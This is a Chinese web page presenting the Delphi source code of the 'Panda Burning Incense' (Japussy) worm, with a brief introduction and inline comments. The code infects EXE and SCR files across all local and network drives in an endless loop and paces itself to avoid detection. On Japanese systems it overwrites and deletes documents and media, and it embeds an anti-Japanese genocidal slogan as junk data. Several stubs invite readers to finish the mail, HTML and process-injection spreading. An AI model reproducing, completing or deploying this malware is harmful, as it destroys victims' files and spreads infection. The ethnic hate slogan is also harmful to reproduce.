熊猫烧香病毒源代码及分析
“熊猫烧香”简介：“熊猫烧香”病毒是一个能在电脑操作系统上运行的蠕虫病毒。采用“熊猫烧香”头像作为图标。它的变种会感染EXE可执行文件，被病毒感染的文件图标均变为“熊猫烧香”。同时，受感染的计算机还会出现蓝屏、频繁重启以及文件被破坏等现象。该病毒会在中毒电脑中所有的网页文件尾部添加病毒代码。目前已有百万台电脑受害。
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记//垃圾码，以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +'If a country need to be destroyed, it must be Japan! ' +'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) thenExit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9xResult := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
trysStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);trydStream := TFileStream.Create(FileName, fmCreate);trysStream.Seek(HeaderSize, 0); //跳过头部的病毒部分dStream.CopyFrom(sStream, sStream.Size - HeaderSize);finallydStream.Free;end;finallysStream.Free;end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用，退出if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染Exit;Infected := False;IsPE := False;SrcStream := TFileStream.Create(FileName, fmOpenRead);tryfor i := 0 to $108 do //检查PE文件头beginSrcStream.Seek(i, soFromBeginning);SrcStream.Read(Buf, 2);if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记beginIsPE := True; //是PE文件Break;end;end;SrcStream.Seek(-4, soFromEnd); //检查感染标记SrcStream.Read(iID, 4);if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染Infected := True;finallySrcStream.Free;end;if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出Exit;IcoStream := TMemoryStream.Create;DstStream := TMemoryStream.Create;tryaIcon := TIcon.Create;try//得到被感染文件的主图标(744字节)，存入流aIcon.ReleaseHandle;aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);aIcon.SaveToStream(IcoStream);finallyaIcon.Free;end;SrcStream := TFileStream.Create(FileName, fmOpenRead);//头文件HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);try//写入病毒体主图标之前的数据CopyStream(HdrStream, 0, DstStream, 0, IconOffset);//写入目前程序的主图标CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);//写入病毒体主图标到病毒体尾部之间的数据CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);//写入宿主程序CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);//写入已感染的标记DstStream.Seek(0, 2);iID := $44444444;DstStream.Write(iID, 4);finallyHdrStream.Free;end;finallySrcStream.Free;IcoStream.Free;DstStream.SaveToFile(FileName); //替换宿主文件DstStream.Free;end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
trySetFileAttributes(PChar(FileName), 0); //去掉只读属性FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件trySize := GetFileSize(FileHandle, nil); //文件大小i := 0;Randomize;Max := Random(15); //写入垃圾码的随机次数if Max < 5 thenMax := 5;Mass := Size div Max; //每个间隔块的大小Len := Length(Catchword);while i < Max dobeginFileSeek(FileHandle, i * Mass, 0); //定位//写入垃圾码，将文件彻底破坏掉FileWrite(FileHandle, Catchword, Len);Inc(i);end;finallyFileClose(FileHandle); //关闭文件end;DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
beginD := Chr(i + 65);Str := D + ':\';DiskType := GetDriveType(PChar(Str));//得到本地磁盘和网络盘if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) thenResult := Result + D;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
beginif (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and(SearchRec.Name <> '..') thenResult := 0 //不是目录else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and(SearchRec.Name <> '..') thenResult := 1 //不是根目录else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
beginrepeatPeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑if IsValidDir(SearchRec) = 0 thenbeginFn := Path + SearchRec.Name;Ext := UpperCase(ExtractFileExt(Fn));if (Ext = '.EXE') or (Ext = '.SCR') thenbeginInfectOneFile(Fn); //感染可执行文件 endelse if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') thenbegin//感染HTML和ASP文件，将Base64编码后的病毒写入//感染浏览此网页的所有用户//哪位大兄弟愿意完成之？endelse if Ext = '.WAB' then //Outlook地址簿文件begin//获取Outlook邮件地址endelse if Ext = '.ADC' then //Foxmail地址自动完成文件begin//获取Foxmail邮件地址endelse if Ext = 'IND' then //Foxmail地址簿文件begin//获取Foxmail邮件地址endelse beginif IsJap then //是倭文操作系统beginif (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') thenSmashFile(Fn); //摧毁文件end;end;end;//感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑Sleep(200);until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
beginrepeatif IsValidDir(SearchRec) = 1 thenSubDir.Add(SearchRec.Name);until (FindNext(SearchRec) <> 0);end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count doLoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统IsJap := True; //去死吧！
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
beginfor i := Len downto 1 do //遍历每个磁盘驱动器LoopFiles(DriverList + ':\', '*.*'); //感染之SendMail; //发带毒邮件Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9xRegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin//远程线程映射到Explorer进程//哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 thenInfectFiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
beginTmpFile := ParamStr(0); //创建临时文件Delete(TmpFile, Length(TmpFile) - 4, 4);TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格ExtractFile(TmpFile); //分离之FillStartupInfo(Si, SW_SHOWDEFAULT);CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,0, nil, '.', Si, Pi); //创建新进程运行之InfectFiles; //感染和发邮件
end;
end.